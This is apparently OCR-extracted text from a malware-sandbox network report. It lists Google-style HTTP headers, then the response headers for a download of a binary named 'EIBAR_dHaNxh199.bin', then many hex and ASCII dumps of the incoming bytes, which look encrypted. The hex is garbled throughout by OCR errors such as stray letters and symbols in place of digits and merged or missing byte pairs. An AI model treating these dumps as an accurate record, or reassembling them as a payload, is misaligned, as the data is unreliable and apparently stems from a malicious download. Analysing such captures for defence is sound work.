financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-Patientld, GData-Version, google-cloud-resource-prefix, linked-
customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, I-None-Match, If-Unmodified-
Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-
model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-
Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-
Firebase-Auth-Token, X-Firebase-AppCheck, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Cl
ient, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visib
ilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-
Pageld, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-1d, X-Goog-Request-Info, X-Goog-Request-R
eason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-
Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-
Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-
Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding,
X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-1d, X-Goog-FieldMask, X-Google-
Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-
User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-T
ype, X-Use-HTTP-Status-Code-Override, X-los-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-
VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-
Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-M
eeting-Debugid, X-Goog-Meeting-ldentifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-
Token, X-Goog-Meeting-Viewerlnfo, X-Client-Data, Xx-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-
Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-
Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-
auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-
device-capabilities, X-Server-Timeout

Access-Control-Allow-Methods: GET,OPTIONS

Content-Type: application/octet-stream

Content-Disposition: attachment;filename="EIBAR_dHaNxh199.bin";filename*=UTF-8"EIBAR_dHaNxh199.bin
Content-Length: 221760

Date: Mon, 29 Nov 2021 13:25:46 GMT

Expires: Mon, 29 Nov 2021 13:25:46 GMT

Cache-Control: private, max-age=0

X-Goog-Hash: crc32c=pqlYgw==

Server: UploadServer

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Connection: close

Data Raw: ab 72 8e 84 1a 12 bc 62 9b 73 28 0a d9 40 51 14 4b Oc 8f 9a b1 72 c6 8a c3 bb e3 c9 26 d9 b0 98 27 49 de 07
15 1b 03 f8 ca b6 8b 68 81 a5 50 66 71 99 25 77 bd c3 €9 d1 88 ca 51 8f 54 01 5d 3e 04 da 4f 6f a2 fc 12 c2 d3 c9 8f 94 86
1c a3 eae9 3f 7b 5a 9c 6e ef 9e 66 60 91 b9 1d 5b de 16 44 96 69 28 bc 87 71 1e 93 a6 99 cc 5d ef 66 a3 75 ee d5 4d d6
00 76 5b a0 21 bf 9e aa 2f af 95 29 4d Oc 77 e6 38 c5 b6 c4 55 01 e0 4e ed d0 68 57 bc 2d 4b 9c e7 15 3f 28 ca 64 cd ae
0Oe d0 59 8f €6 4c db 62 d3 42 Oc 32 82 23 8b 47 d4 59 64 81 61 1a 14 7b b1 59 48 a2 63 5b 5e 37 78 4b c7 Oa ad 24 73
€9 94 25 Oa ea ef 53 cf e9 Oc 37 d9 06 82 b1 78 13 0d 18 71 4e bd fa 1d 3a 14 22 e9 f9 a8 e8 28 26 b6 19 53 94 7f 76 c6
cd 1d 95 89 5d 8 f0 Of 2f b9 86 34 76 23 fb ed 16 b7 b0

Data Ascii: rbs(@QKr&'IhPfg%wQT]>0o0?{Znf"[Di(qlfuMv[/)MWBUNhW-K?(dYLbB2#GYda{YHCc["7xK$s%S7xqN:"(&Sv
Javi#

Data Raw: 13 15 2a e7 f5 dc 29 02 22 c0 f7 52 01 26 68 eb e5 be ad 15 36 1c 71 65 df 90 24 83 92 9d 3c ee 91 35 99 52
54 9 b9 bf bb 27 2a 69 24 ed 53 db 6f b8 3e 42 ba 45 86 65 €9 a9 3a aa 7d 89 ¢4 45 dc da a6 7b 03 85 07 ed a6 83 93 c8
6¢ 9a c5 2d 86 c8 6f 28 87 20 b2 ca 5b eb 85 88 16 cd 9e 2f ce 23 ¢9 2a ca ed 93 fb 04 85 7¢ 6a 84 31 09 45 99 bl 7b 2a
68 e7 d1 f8 74 8f 72 16 €9 2b €9 10 32 1d f1 86 46 4c 60 5e ca c7 bc 86 20 9a 90 8f 96 71 55 95 d6 33 ba 07 82 61 79 ec
a3 05 16 fe ad 21 9c 8f ea 6e bb a6 f1 15 5e 8f d2 92 11 69 35 0e 05 6d fd a8 50 67 7 Oc al 22 95 52 ad 41 81 00 20 63
71 b8 a9 d8 4c 6e 5e ff f5 €7 b5 4c 34 ee 53 5f bb 8 ff 3d e7 3¢ 32 7f 79 27 98 fa b0 50 7a 6e f8 c0 50 6d be 69 1c Oe 08
€8 91 75 1e 43 97 b5 05 10 9a b7 43 ca 9e db cd b2 8¢

Data Ascii: *)'R&h6qe$<5RT*i$S0>BEe:}E{l-o( [/#*[j1E{*htr+2FL " qU3ayInNSmPg"RA cqlnL4S_=<2y'PznPmiuCC

Data Raw: 5e d7 5c bb 1f 6b 8e 03 a4 a7 5c¢ fb fd 6d cf 42 ac 93 dd 36 77 fb 3d 6e 5 3a f4 1b c2 1c ac 2f 3b 99 c3 c6 6b b2
€6 Oe 7a 1a 78 6f 67 05 df 94 d6 c1 dc eb cb fe 68 €9 2a 66 dd 01 9f 1a 86 c8 cd 04 09 c2 73 34 d3 87 1b d1 a6 66 a9 b4
02 63 73 cf 10 ¢9 75 34 f2 f5 6a 3d ec 8d e0 d2 al 48 80 df 67 al fc 03 d4 dc e2 94 94 7e f4 5d eb 7d 3d 63 51 9c 69 f9 60
27 4c 93 ae 16 5b d9 Oe ba 97 45 2a 97 85 5a fd bb d3 9b cc 5b ed 4e 38 75 ee df 65 a0 02 76 5d 88 ba bf 9e 20 30 a5 19
7852 b6 78 ce 17 cc 7b ef f2 0a 20 dc cc 84 01 16 54 0d 3b e4 a0 05 4f 49 al 6c 35 cf 60 b4 1e 83 c4 2e b8 6a 3a 37 62
18 c3 68 ab 03 91 22 df ec Oe 74 59 10 be 54 44 ae 8 5b 5e 3d 50 6d c7 5a e2 Oc e8 85 95 2¢ 15 05 49 a8 ae €9 0d 1f 42
06 82 bb 50 8a Of 1a 76 6d 27 f1 1d 30 64 59 eb

Data Ascii: \k\mB6w=n:/;kzxogh*fs4fcsudj=Hg~]}=cQi"'L[E*Z[N8uev] OXRx{ T;OlI5".j:7bh"tYTD[*=PmZ,|IBPvm'0dY

Data Raw: d1 09 71 84 dc 2c 7b cd cd 3e 45 4d 07 b4 a4 al 47 d8 d2 55 37 21 dd 7b e6 00 af 2f 2b e6 al 7c 48 f4 e8 da
280 08 2a e6 e2 7b 46 49 68 eb e5 bc 85 2a 3c 34 95 6f 01 84 63 72 92 9d 3c 18 b0 12 b1 63 5e el 8b ac 99 05 cc 69 22
cd 8d db 7e bl 3e 54 bb 47 80 73 2f bf b5 a0 a9 85 ec 72 dc d8 ac 0a 3b c7 9c e7 72 83 82 c0 44 24 c5 2d 80 0a 04 28 95
30 6¢ c5 7f d8 82 8d 16 dO 8c Oc e6 Oe c9 2a d1 31 bb a3 Oc ad al 1e b7 37 66 82 93 b7 59 be 67 c2 f3 a0 3f 8f 78 ef cb 14
be 5¢ 3217 25 80 77 64 06 bf ca a8 f7 €9 e6 90 96 92 27 30 70 bd eb 35 a5 3f fe Ob 51 d4 a9 03 34 6¢ af 30 92 c8 be 6f bb
aa 98 fb 13 8d d8 4a 71 1d 1d 39 0Of 6b 98 e9 76 4f d5 07 a6 5¢ 71 52 bc 48 c6 b0 20 63 7d ff 21 da 4c 62 96 d8 fe cf 82 46
22 a4 cb 78 93 f0 f8 52 b9 e2 32 64 7d 08 39 a2

Data Ascii: q{>EMGU7Y{/+|H(*{FIh*<4ocr<c/i"~>TGs/r;rD$-(0I*17fYg?x\2%wd'0p5?Q4l00Jq9kvO\qRH c}!LbF"xR2d}9

Data Raw: 03 b6 c2 ea 6f 81 90 fd 92 cd 86 61 75 42 83 9d ¢8 d2 d8 fO b5 ad 7e 17 21 96 cf 11 e3 cc 86 d9 c3 74 d8 3c 72
12 ¢c8 92 73 e8 4e 9b 28 45 05 1d 6e d8 23 f0 75 dO f0 f5 66 3f d5 bd e2 d4 81 61 80 df 69 b0 fb 7d 10 d7 c9 85 bc 5d e3 a3
€0 45 29 53 68 9c 6e €9 b8 fb 5a 90 b9 1d 7e f6 21 44 96 63 3b 81 93 62 19 bb 9e 99 cc 57 32 43 a2 75 ee ab 43 d6 00 72
43 e0 bd bf 9e 2a 34 22 80 27 52 b7 6a a6 9d 8c 6d cd 22 02 ac 85 6e 95 40 29 b1 1a 3b ee 8c 5a 08 4b a7 42 86 98 62

be 30 94 be 2e be 48 03 26 22 0a c3 15 a9 03 9d a8 55 ac 17 56 08 55 bc 5e 51 ¢4 71 19 20 21 78 4b ¢3 72 92 24 73 8f
3737 4a 15 ed 91 ac e9 0a 95 c8 46 aa ca 78 f3 07 32 17 47 bc {7 35 12 4c 21 ef e8 a7 87 fa 26 b6 13 7b 7a Ob 75 c0 e5
1397 89 5b 97 88 0f 2f b3 ee 5¢ 74 03 fd c5 6a b5 b0 60

Data Ascii: oauB~!t<rsN(En#uf?ai}|E)ShnZ~!Dc;bW2CuCrC*4"Rjm"n@);ZKBb0.H&"UVU"Qq 'xKr$s77IFx2G5L!&{zu[/\tj*
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kBytes
Timestamp transferred Direction Data

2021-11-29 13:25:46 UTC 19 IN Data Raw: d8 a6 22 03 el 95 ed ac 8d 93 c8 6¢ ae cc 2d 86 6a c2 28 95 20 b2 ca 5b fO b5 8d 16 99 96 2f ce 38 c9 2a db
be b2 b2 04 8a 76 1e b7 2b 09 44 92 b7 53 60 68 87 d2 97 3f 81 72 fc ef 52 8f 5¢ 32 12 fb 80 66 76 2e 5e cb a8 f1 86 20
ed 9f 98 f9 31 55 95 dc be ac 35 ed 21 79 ec a9 19 3e b2 ae 21 9a €0 ba f4 b2 ac f7 33 13 8d d2 3c 77 38 35 01 Of 6b 92
€050 67 ec 07 a6 56 af e5 a4 40 ee 5d 20 63 7b 55 ee da 4c 67 48 d7 db fd b5 46 23 ae d8 5f bb 1c f1 52 b3 32 32 75 75
c2 fe a2 b0 5f 70 d9 ef Oc dd 46 bf 69 1d 03 Ob 01 80 06 47 4d 97 bf 16 eb 84 a4 46 d3 8d dc db 24 b3 28 3d 2f 42 53 df 9e
4e 43 93 b3 9a b9 5b 05 e6 d4 1a 1c 13 1d 3d b1 ab Oc 81 c5 75 e8 cf c¢7 db dd ad 4f fe fe 99 94 15 55 95 6f 55 53 1d 2¢
a8 b2 63 1a 58 4f d3 9f 43 47 3e c0 04 40 fc dc al 7a
Data Ascii: "l-j( [/8*v+DS h?rR\2fv.” 1U5!ly>!13<w85kPgV@] c{ULgHF#_R22uu_pFiGMF$(=/BSNC[=uOUoUS,cXOCG>@z

2021-11-29 13:25:46 UTC 20 IN Data Raw: 69 28 b6 91 42 c8 88 ad 99 cb 46 11 67 8f 7d c6 fb 4f d6 06 5¢ 47 ab 21 b8 83 d4 2e 83 9e 25 44 b5 16 09 8¢
cc 71 cf f3 0b ac 84 da 7a 01 12 cd 1a 30 ee 8f 6¢ b3 48 8b 46 85 ca 58 c1 c9 04 39 28 94 42 al 24 52 10 eb d4 ab 03 9b
2d 44 ec 1f 68 62 51 84 d4 42 86 63 5b 4f 33 61 b5 c6 76 ed 32 7f 9f 86 22 Oa 1e c1 ec 50 e8 20 30 dO Oe 18 ba 64 e0 09
la 61 41 a6 Of 1c 16 49 Oa 8a e2 b3 ec 28 37 b2 05 ad ab 25 64 c1 a2 50 95 89 57 fa 9f ff 2f b9 cc 18 30 1e €8 €9 16 a4
b4 7d 92 ab 14 07 66 c4 ab 7d a4 a2 2d 12 ed c5 36 2b bc 2¢ 73 d7 a6 18 5e 64 f0 de fc 90 15 f5 9a 06 fe 07 93 a8 62 22
fb ff 70 3a 41 a4 ab 03 70 63 28 3a eb e8 a7 20 de d7 bc 2e 02 3e c2 11 23 6b 3c a4 5c al 36 4a ff 7c 76 cd fd 3e 57 04 f9
46 c1 47 a4 3051 09 17 39 aa 73 4a ef e2 €3 87 ad d8
Data Ascii: i(BFg}O\G!.%Dqz0IHFX9(B$R-DhbQBc[O3av2"P 0daAl(7%dPW/0}}-6+,s"db"p:Apc(: .>#k<\6J|v>WFGO0Q9sJ

2021-11-29 13:25:46 UTC 22 IN Data Raw: 9c 8f 47 6e bb a6 98 ¢3 13 8d d8 9e 67 34 35 06 10 60 6¢ fb 7c 6¢c ea 11 d8 5e af 52 a9 e2 f1 5f 2¢ 63 73 8f eb
24 4d 44 43 dO cc 99 ac 46 22 aa 7a 40 b6 c4 f8 5a a4 c2 33 59 77 38 fb a2 b8 4b 8e d8 c¢3 05 db 6e 59 6b 1d 05 23 18 8b
06 41 2c ef bf 16 1e 87 b8 4a dc 85 c3 cb cO b2 04 37 28 59 2d c6 90 44 47 31 a2 8b b5 5b 11 f5 2a 1b 3f 00 1b 15 48 a9
Oc 86 ed 91 ea cf ea be a5 ad 41 f4 f4 83 al 1f 5d 83 9d 54 7f 1f 21 a4 b2 6a 05 4a b1 d2 f6 4b 6¢ 3b f6 77 be 03 70 81 7a
3356 17 96 79 25 c1 bb 32 2f a8 3e db c3 d2 dd 5a c3 1f a3 be f4 d2 b7 eb 89 56 e3 a8 ed 65 31 e8 d2 72 06 3f 2e f8 21
75 d3 08 c0 04 2c cc 4f 87 86 70 d1 b3 15 f5 21 04 c8 b9 77 18 3c 94 dc ea 5e a2 12 a9 49 2f 8a 08 90 a8 44 5f 09 f2 29
44 7f 20 51 ca 48 bc 08 00 8f 13 a0 b2 59 14 f9 53
Data Ascii: Gng45'l|I"R_,cs$MDCF"z@Z3Yw8KnYk#A,J7(Y-DG1[*?HA]T!jIKI;wpz3Vy%2/>ZVelr?.lu,Opw<//D_)D QHYS

2021-11-29 13:25:46 UTC 23 IN Data Raw: 65 96 91 1e 98 0f c5 {7 ae f8 08 2¢ 27 07 ae af 7e 9c Oa 1b 70 4f c2 d4 1d 3a 48 29 73 ef 88 c6 28 26 bc 0f ad
ab 30 01 c6 cd 3d 89 9a 59 f8 el Ob 37 47 c¢7 18 65 7d d9 ed 16 b1 98 95 6¢ aa 32 6b 13 d7 af 77 bf bf 26 e8 ec f8 3b 1a
71 2d 5f d2 bd 7f 68 60 fO cb 76 3a fc 2e bb 0f f3 3e 89 bb 77 26 f6 05 67 e8 45 9f 82 09 70 63 28 3a eb ec a7 20 de d0 bc
07 21 56 39 ee cd 67 3c 8c 51 85 3c dc 5b 4a f0 ca d3 28 a9 05 ce 75 d2 54 27 32 40 0d 22 c7 ab 4e 60 1d e5 db e8 58 54
64 4b a0 66 8e 51 8f 83 88 cd 2c cb 11 dO 18 9f 55 36 3 d6 Of 1e 6d dc 2c 60 3b 89 16 72 4b 87 9e 8¢ 99 43 a6 fc 8b 37
34 f9 6d 58 23 af 29 40 37 92 64 3c 0Of e7 ff 04 79 bf 3c dd dd 72 24 71 68 ed c2 67 58 68 33 1c 77 44 1f fc 2f b4 92 99 2e
5 a9 49 bc 54 5e e5 0f 08 ad 1c f8 41 69 c7 53
Data Ascii: ,'~pO:H)s(&0=Y7Ge}I2kw&;q-_h'v:.>W&gEpc(: 'VIg<Q<[J(uT2@"N XTdKfQ,Ubm, ;rKC74mX#) @7d<y
<r$qhgXh3wD/.IT"AIS

2021-11-29 13:25:46 UTC 24 IN Data Raw: 2d d7 90 44 47 bb b7 99 b9 5d 31 c8 d4 1a 19 93 15 3d ab af d1 89 c6 75 e8 cd f3 a6 ee b4 3f f6 fe 99 a9 37 5e
96 63 53 7b 39 36 a8 b8 e2 12 58 4f d7 07 a2 45 3e ce 06 5f 84 bc b2 04 3b 56 Oc a2 55 29 09 bb 34 07 a6 3e db d8 50 fd
a5c31b 74 1c c2 d2 b7 e3 f9 1a d0 b1 99 67 ec 5b d6 5a Ob 19 06 c9 09 51 d9 04 c8 ac db cc 4f 89 48 db f3 b3 11 f7 3e f3
80 a0 09 11 31 44 a4 c2 50 a0 3a bb 61 0b 80 20 9a 29 4c 55 00 78 43 0d c5 33 54 de 5¢ d6 3f 76 fO 1a a0 b8 54 2d 3 42
€2 4d 9b be f5 47 7f 7b 33 cc ea 33 3a 6¢ c0 0d a8 32 34 47 f1 {3 1b b3 f9 03 69 1a 02 6d 67 05 55 af c7 d2 d2 6b d2 fa 7e
13 f6 1f dc 16 8c 36 82 d9 c9 1d 7e 35 73 18 db c3 15 e8 4e 91 7e 4f 05 1d 6¢ a0 19 cc 5d 1a 9d ff 61 17 f5 ab 1c d3 6 4b
9f cd 91 a0 ea ec c3 88 cb af 30 79 e3 a3 14
Data Ascii: -DG]1=u?7"cS{96XOE>_;VU)4>Ptg[ZQOH>1DP:a )LUXC3T\?vT-BMG{33:124GimgUk~6~5sN~Ol]aK0y

2021-11-29 13:25:46 UTC 26 IN Data Raw: 75 39 ea ea 7d db 67 76 a9 38 69 76 23 31 39 e5 52 3e da c6 8c 2b 2b 5e 22 f9 22 62 07 78 41 a2 25 12 5b 45
ef c3 ¢4 2557 159 69 f1 b9 22 1e 43 21 2c 38 aa 68 73 33 8f f5 80 a7 al 88 5a a8 85 91 42 86 ac 5 2d fd ca 06 d6 0d ad
40 3d 58 c3 Oe 1e 48 cf 2a 6e 3c d2 0d 72 5¢ 1c al a6 67 46 f4 d6 89 26 3b fd 41 27 00 a5 3a 5c 3f 8a 6f 59 2a 6 e4 1f fe
6 2b cO ff 58 7f 7a 40 fe ee 62 8f 28 25 03 7d 7c 1a 82 1d af 8d b9 ¢8 ¢7 93 23 b1 47 5f el 8b bd aa 26 €5 6d 4d d3 52 db
65 b4 09 67 a9 5¢ 86 0d f2 a0 aa 54 76 a5 ce 54 d7 c2 70 31 08 d8 bc fe b7 83 82 d3 72 64 ¢4 01 8c 74 c9 32 43 29 b9 d5
53 e3 ae 8d 07 c1 80 13 30 37 e5 26 dd fe b4 dd 2c 87 76 18 a8 Oc 1a 5f 93 a6 48 7f 4b 19 da bb 35 9e 79 e6 39 2f 8d 43
16 Oe €0 80 77 77 31 6b 34 a9 dd 81 31 89 9d 87
Data Ascii: u9}gv8iv#19R>++""bxA%[E%WIi"C!,8hs3ZB-@=XH*n<r\gF&;A"\?0Y*+Xz@b(%}|#G_&mMReg\TvTplrdt2C
)S07&,v_HK5y9/Cwwi1k41

2021-11-29 13:25:46 UTC 27 IN Data Raw: 15 2e dd 20 75 d3 17 d3 3d dc d6 99 9e 9a 65 €0 a4 cb e2 {7 04 98 b9 77 18 22 54 a2 fb 51 b2 2a ab 58 3e a8
3191 a9 4e 44 0f 6d 8f 4a d4 3c 56 cd 4c 85 Le 6e 8e 18 b3 b6 41 0a €6 50 cc 9d 65 89 fa 45 64 f4 13 de eb 37 ed 13 d3
02 b2 6 38 68 0 fb 6a 93 eb 02 6d 38 55 7e 68 19 ab 98 c8 d0 c9 e4 f2 e8 7f 17 21 59 d3 07 83 04 97 d4 1f cd 02 33 70
09 de 84 Oc e8 4e 91 45 4e 14 12 70 19 03 2 4c 15 €5 2f 77 c1 72 96 2 d2 a8 5a 84 dd 7e ae ed 16 d4 c6 cc a7 85 78
€3 a9 €9 40 33 14 46 9d 6e €5 a7 0a 61 91 b9 15 7b d0 96 44 96 29 b7 be 87 71 1d 82 aa f6 d1 5c ef 6¢ cc 6b ef d5 47 fe
52 76 5b a6 32 ab 8f 3e 3e bf 9d 0f 02 b6 79 €0 9f de 7c 89 ce 00 ac 83 cc 84 00 1e 8f 56 18 ee 88 72 4d 49 a7 b4 91 96
48 2136 fb cc 99 a9 94 2¢ 1c 62 12 ea 5e b8 12 89 1b 57 eb
Data Ascii: . u=ew"TQ*X>1NDmJ<VLnAPeEd78hjm8U~h!Y3pNENpLMIZ~Xx@3Fna{D)q\kGRV[2>>Y|VIMIH/6,b "W

2021-11-29 13:25:46 UTC 28 IN Data Raw: d8 d2 16 26 3a ba 61 27 00 a5 3a 40 08 b2 7d 42 20 €5 90 98 {7 08 20 ff f4 72 7d 70 68 el fe 66 ea a3 34 1c
7d 7c 07 93 0a a0 ba 1c 34 ¢6 b9 21 14 53 5e el 80 ab af 39 dc ca 22 ¢7 59 c3 €3 86 16 42 bb 6f b5 1d €9 b5 a2 26 48 89
c4 44 4 6b a6 22 09 ef c6 ed ac 89 84 1e el bl c5 2d 87 76 ¢5 39 93 2e 9a d3 59 f0 b3 95 9b dd 9f 2f cf 25 c2 3b d0 9 aa
b5 a6 94 7d 09 al bd 36 44 93 b6 f1 71 63 f4 d7 86 33 9b 66 4 62 13 86 5¢ 33 Oe f6 91 6b 7a 39 c2 db a5 e6 90 be 81 9b
8f d1 98 55 95 d6 13 b4 38 fb be 55 f3 b8 Of 28 28 87 30 9a €0 b0 be a9 ac 7 26 3b 99 d2 94 74 10 01 Of Of 61 €6 €8 50 67
16 14 al 47 a8 43 aa ce 59 4b fa 75 e7 €3 c2 db 4c 62 5b df ca ef al 6e 38 ad d8 59 ac 45 ff 52 b3 3d 21 79 64 2¢ el b3 b5
78 61 d9 ef 1c 7f 57 b2 7a 16 12 00 e4 9d 11 ca
Data Ascii: &a:@}B riphf4}|41S79"YBo&HDK"-v9.Y/%:}6Dqc3fb\3kz9U8BU((0&;taPgGCYKULb[N8YER=lyd xaWz

2021-11-29 13:25:46 UTC 29 IN Data Raw: 09 eb da fa 77 37 22 ca de 16 cc d8 86 d9 c9 68 37 3d 72 12 c2 8e 00 64 65 9b 56 4a 16 3e 75 d7 9d e6 5d 10
3 e6 44 06 fa a2 fa c3 8a 5f 9e 7 7e a0 fc 18 d3 d2 df 9e b0 6f fc bb c2 40 3e 7b 50 8d 4c fe ba 49 47 90 b9 17 4a fc 07
67 f9 41 29 bc 8d 60 3¢ 84 c9 b0 cd 5d e5 77 81 6¢ 81 ff 4c d6 0a 67 79 cf Oa be 9e 20 3e ab 83 36 56 38 ce 89 a0 cd 7b
ef fe 25 b3 ¢3 41 af 00 3e ce le la ff ad 6d 65 58 86 52 b1 8f 48 af 37 fb cc 5d 9b 43 al 3d 71 34 fa 6b ba 22 f4 28 45 ec
04 6d 56 44 9b 7c 55 87 63 51 76 60 7a 4b c1 72 c6 26 73 83 fa 5e Oa Of cf e4 86 ee 1d 31 c8 2e ed 8b 79 f3 07 c4 7c 54
9a dd 1a 2b 6a 4e be f9 a0 e2 f4 21 bc c7 4a ad 03 ab d3 ca 37 4b 98 78 d0 c7 0f 2f b3 d5 1d 5e 3b fb ed 1c 6b b0 6d 46
ac 12 45 02 d7 af 7f b5 a6 35 58 ec e9 3f 22 8f 2¢
Data Ascii: W7"h7=rdeVJ>u]D_~o0@>{PLIGJgA) <]wiLgy >6V8{%A>meXRH7]C=g4k"(EmVD|UcQV zKr&s"1.y|T+NIJ7K
x/™kmFESX?",

2021-11-29 13:25:46 UTC 31 IN Data Raw: 28 94 98 a3 c0 40 ef a5 01 29 da 9f 2e 6¢ 27 ¢3 39 dO fe b0 a6 10 9e fb 31 b7 31 08 57 9f a6 5f 76 7f 7b ca 9b
2899 ee ed €3 24 91 c0 23 11 e2 96 fa 7d 22 44 dc 34 e0 8a 37 b8 31 98 f9 35 73 89 cf 3a a5 24 e2 31 76 12 a8 2f 33 a3
a3 39 0a d9 03 93 44 53 e8 2d 00 82 d2 85 71 27 27 f0 Oe 47 b8 eb 55 7d 61 38 a6 56 ae 7a 1le 40 ee 59 37 ef 44 90 e7
db 64 db 48 d7 d1 cf ef 46 22 a4 cf 89 36 e3 f8 52 b2 2f 36 6a 66 33 f8 a2 al 5f 6f c9 11 17 f1 65 af 63 05 99 23 el 89 06
4d 93 85 bf 16 0f a5 b0 46 dc 87 f4 ef 3f b3 22 48 3d 42 53 c4 83 4d 5¢ 82 ae 95 b9 4a 16 f3 cc e4 12 3f 10 2c a7 bl 9c b9
27 8917 30 f3 c8 ce a2 41 ef f1 86 a4 el 54 b9 40 44 58 05 ac 80 a3 62 1a 52 9f c1 da 49 5c 16 da 04 40 6 a7 9f 7b 33 5¢c
78 b4 7d 25 11 a8 35 30 88 2d d4 d2 c1 fa bf 3d
Data Ascii: (@).I'911W_Vv{($#}"D4715s:$1v/39DS-q"GU}a8Vz@Y7DdHF"6R/6jf3_oec#MF?"H=BSM\J?,'0AT@DXbRI\
@{3\x}%50-=
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kBytes
Timestamp transferred Direction Data

2021-11-29 13:25:46 UTC 32 IN Data Raw: d6 09 68 a5 al 0d ba 89 00 30 a6 98 27 5b af 87 e7 a0 c5 7e e6 €9 17 76 8f 98 9e 0d 3e c6 1a c5 ef a4 70 55
44 a7 4d b6 31 61 92 32 ed cd 37 b3 42 a8 21 9c 13 c7 4f bc Oe 9b 03 5b e5 f0 7f 5d 57 97 51 7a fd 9c a4 al 20 73 60 cd
58 ed 6e e2 9a 98 08 08 19 ce f2 8b a3 1b el 8d 03 c8 b9 46 95 f2 e5 8f 53 96 f1 1d 29 7c 23 e9 c4 a0 e8 28 65 b6 19 42
bc 05 5e e9 cd 35 8d 77 5¢ d4 fd 71 18 b9 c6 30 05 48 fa ed 1c be a9 66 6¢ a2 2f fa 7f fb ad 65 b9 a6 3d fa 12 e8 13 01 98
20 73 d5 b2 ff 4¢c 4c f2 e4 fa a6 24 f3 b4 6¢ a5 2c 8d bl 4c 22 ea fb 75 f4 42 88 fd 14 63 67 6¢ 2b ef e7 4f 2d d9 98 97 23
22 bb 3c c2d0 6139 73 78 e4 3e c4 42 63 f9 c2 db 3e 5f 1e 1c 77 €9 4a 24 5d 1f 08 3f 33 b2 51 4e 21 ca f8 8d a7 a3 8¢
bd b6 9c 80 41 8a bd e6 2b 2d 35 2b fe 1a 85 4b 3a
Data Ascii: hO'[~v>pUDM1a27B!O[[WQz s XnFS)|#(eB"5w\qOHfl/e= sLL$I,L"uBcgl+O-#"<a9sx>Bc>_wJI$]?3QN!A+-5+K:

2021-11-29 13:25:46 UTC 33 IN Data Raw: 44 77 7b 67 ed 06 ac 50 b9 43 a9 ce 59 e7 bc 72 7f 86 el cd 5d 6¢ c6 60 f3 f6 b4 46 28 85 d3 77 95 ca f8 54 cO
6a 33 75 7f 5a eb a5 66 47 aa ce 39 9b f6 46 be 68 10 Oa 1d eb 15 0f 50 41 23 23 1f 0d 8e 10 da da 9b d5 c1 39 9b 39 3d
2f 48 5a d6 1e f3 5b 49 b8 f6 9a 5b 19 ec d4 1a 13 63 5d 66 83 3a Oc 80 cf c1 74 c6 e5 5f 6a ba 9b fb de 99 ac 1f 55 c¢8 d7
c9 5a 37 36 a8 b2 71 2a 5d 4f 5a da 49 47 76 ce 04 51 d4 18 ab 7a 39 54 63 3e 7d 25 00 b6 3b al 35 1e 24 d2 dO f5 94 c8
3788 d2c0d4 c4 b6 e7 63 e9 d2 cf f8 ec 5b d8 71 69 82 06 cf 2b 79 d1 8a 75 Oc 2c cc 4f 8d a4 7f d9 92 12 f5 27 fa e4 b8
77 13 4b 5d a9 64 e9 75 32 33 fe f9 97 fa 87 7f c9 7e 00 7c 9f 96 c1 25 43 40 45 ba 05 el 39 a6 3c b1 46 03 e4 48 4c fc 9b
8b f4 47 7f fd 23 ¢5 64 80 31 17 4c ba 1c ac
Data Ascii: DW{gPCYr]I'F(WTj3uZfGOFhPA##99=/HZ][l[c]f:t_jUZ760*|OZIGvQz9Tc>}%;5%7c[qgi+yu,O0'wK]du23~|%
C@E9<FHLG#d1L

2021-11-29 13:25:46 UTC 34 IN Data Raw: 0d 12 67 bb bd dd 1f 22 40 21 el el 5e €9 04 2e c5 78 52 aa 03 7e df c1 3d 9d 9f a3 f9 dc 0d 38 b5 c6 3c 6f fd
fa cl 14 9e b2 41 b8 a8 43 4d 7e d7 ab 57 b5 b5 05 e8 ec 85 3f 03 8f 60 73 dd ba 17 41 4b 95 cf f0 96 15 f5 9a Oa eb 2e fO
f2 66 22 ee e7 6a c4 48 92 56 15 4f 72 2a 2d e8 f5 36 b9 f2 d5 9d 44 18 44 3d e4 al 2b 2b 72 54 b2 33 c4 40 59 Oe da fb
